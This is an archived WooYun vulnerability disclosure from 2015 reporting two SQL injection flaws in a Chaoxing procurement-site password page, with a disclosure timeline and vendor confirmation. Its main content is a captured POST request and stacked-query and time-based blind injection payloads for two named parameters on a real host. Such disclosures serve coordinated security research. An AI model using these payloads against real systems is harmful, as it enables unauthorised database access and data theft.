当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108324

漏洞标题:超星某站两处SQL注入漏洞

相关厂商:超星网

漏洞作者: ucifer

提交时间:2015-04-19 11:08

修复时间:2015-06-05 13:30

公开时间:2015-06-05 13:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-19: 细节已通知厂商并且等待厂商处理中
2015-04-21: 厂商已经确认,细节仅向厂商公开
2015-05-01: 细节向核心白帽子及相关领域专家公开
2015-05-11: 细节向普通白帽子公开
2015-05-21: 细节向实习白帽子公开
2015-06-05: 细节向公众公开

简要描述:

RT

详细说明:

http://cg.chaoxing.com/set_password.aspx
这个页面是禁止使用的,但是在随后的过程中,通过抓包可以定位到可注入的页面。

QQ截图20150416121602.png


简单测试一下 存在POST注入。
post.txt文件如下:

POST /set_password.aspx HTTP/1.1
Host: cg.chaoxing.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://cg.chaoxing.com/set_password.aspx
Cookie: msign_dsr=1428996158882; __utma=68824131.282036900.1428999176.1428999176.1429147930.2; __utmz=68824131.1428999176.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=68824131.3.9.1429147931475; __utmc=68824131
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExNjY5MDI0MjlkZA%3D%3D&TextBox1=111%40qq.com&TextBox2=123123123123&Button1=%E4%BF%9D%E5%AD%98%E4%BF%A1%E6%81%AF


Place: POST
Parameter: TextBox1
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTExNjY5MDI0MjkPZBYCAgMPZBYCAhMPDxYCHgRUZXh0BU08c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+YWxlcnQoJ+S4quS6uuS/oeaBr+S/ruaUueaIkOWKn++8gScpPC9zY3JpcHQ+IGRkZA==&TextBox1=111@qq.com'; WAITFOR DELAY '0:0:5'--&TextBox2=123123123123&Button1=%E4%BF%9D%E5%AD%98%E4%BF%A1%E6%81%AF
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTExNjY5MDI0MjkPZBYCAgMPZBYCAhMPDxYCHgRUZXh0BU08c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+YWxlcnQoJ+S4quS6uuS/oeaBr+S/ruaUueaIkOWKn++8gScpPC9zY3JpcHQ+IGRkZA==&TextBox1=111@qq.com' WAITFOR DELAY '0:0:5'--&TextBox2=123123123123&Button1=%E4%BF%9D%E5%AD%98%E4%BF%A1%E6%81%AF
Place: POST
Parameter: TextBox2
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTExNjY5MDI0MjkPZBYCAgMPZBYCAhMPDxYCHgRUZXh0BU08c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+YWxlcnQoJ+S4quS6uuS/oeaBr+S/ruaUueaIkOWKn++8gScpPC9zY3JpcHQ+IGRkZA==&TextBox1=111@qq.com&TextBox2=123123123123'; WAITFOR DELAY '0:0:5'--&Button1=%E4%BF%9D%E5%AD%98%E4%BF%A1%E6%81%AF
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwULLTExNjY5MDI0MjkPZBYCAgMPZBYCAhMPDxYCHgRUZXh0BU08c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+YWxlcnQoJ+S4quS6uuS/oeaBr+S/ruaUueaIkOWKn++8gScpPC9zY3JpcHQ+IGRkZA==&TextBox1=111@qq.com&TextBox2=123123123123' WAITFOR DELAY '0:0:5'--&Button1=%E4%BF%9D%E5%AD%98%E4%BF%A1%E6%81%AF
---


两个参数都存在注入。。

漏洞证明:

QQ截图20150416121701.png

修复方案:

严格过滤

版权声明:转载请注明来源 ucifer@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-21 13:29

厂商回复:

影响公司采购系统,感谢漏洞提出者

最新状态:

暂无